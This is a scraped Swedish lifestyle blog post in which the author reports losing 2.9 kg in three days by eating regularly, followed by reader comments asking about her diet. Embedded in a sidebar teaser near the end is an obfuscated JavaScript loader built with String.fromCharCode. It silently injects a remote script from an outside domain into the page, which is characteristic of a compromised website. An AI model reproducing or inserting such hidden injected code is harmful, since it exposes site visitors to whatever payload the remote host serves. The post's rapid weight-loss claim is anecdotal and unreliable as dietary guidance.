Minus 2,9 KG på tre dagar!

Godmorgon!  jag har precis kommit hem efter att jag lämnat Lilleman hos dagmamman, konstigt nog så sken solen över Öland, men här i Kalmar är det grått, kallt och trist…. Så nära, men ändå så långt bort! 

image

En trött, osminkad, men väldigt glad tjej 🙂  Skulle egentligen inte lagt upp vikten förrän imorgon, Men WOW!

– 2,9kg på TRE dagar!  Bara genom att  äta regelbundet, (8, 12, 15, 18 ) och MER än innan, nästan dubbelt så mycket! 

image

imageNär man får positivt resultat så känns plötsligt frukosten helt okay 😉 Vi hörs sen min vän! Kramar My Martens 

Ps ikväll kommer ett smarrigt och nyttigt recept inför fredagsmyset 😉

25 Komentarer

  1. Så duktig du är. Kan du inte lägga upp vad du äter till frukost, lunch, mellis och kvällsmat. Vad är det i dina morgondrinkar?
    Lycka till!!

  2. Så duktig du är. Kan du inte lägga upp vad du äter till frukost, lunch, mellis och kvällsmat. Vad är det i dina morgondrinkar?

    Lycka till!!

  3. Hej My! Bra jobbat ? tänkte hoppa på ditt tåg men kan du inte förklara lite mer vad du äter vid dom tiderna, äter du inget godis? Hur tränar du? Och tips på hur du står ut när du är jätte sötsugen? Kram o ha de bra

  4. Hej My! Bra jobbat 🙂 tänkte hoppa på ditt tåg men kan du inte förklara lite mer vad du äter vid dom tiderna, äter du inget godis? Hur tränar du? Och tips på hur du står ut när du är jätte sötsugen? Kram o ha de bra

    • Hej! Tyvärr inte, jag utvärderar det fortfarande… Men så småningom hoppas jag ? ikväll kommer ett nyttigt och gott recept som kan komna till pass inför fredagsmys ?

    • Hej! Tyvärr inte, jag utvärderar det fortfarande… Men så småningom hoppas jag 🙂 ikväll kommer ett nyttigt och gott recept som kan komna till pass inför fredagsmys 🙂

    • Tack 🙂 kosttillskotteb iform utav vitaminer, mineraler och grönsaker hjälper till 😉 jag har kass ämnesomsättning, men ska få ordning på den 🙂 kram

  5. Hej grattis till dig som är såå duktig..Skulle vara roligt och veta hur dina måltider ser under dagen.Eftersom du går ner så fort.Jag har hållt på med olika dieter …men din verkar ju kanonbra…Hoppas på svar ..Mvh Helen

  6. Hej grattis till dig som är såå duktig..Skulle vara roligt och veta hur dina måltider ser under dagen.Eftersom du går ner så fort.Jag har hållt på med olika dieter …men din verkar ju kanonbra…Hoppas på svar ..Mvh Helen

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/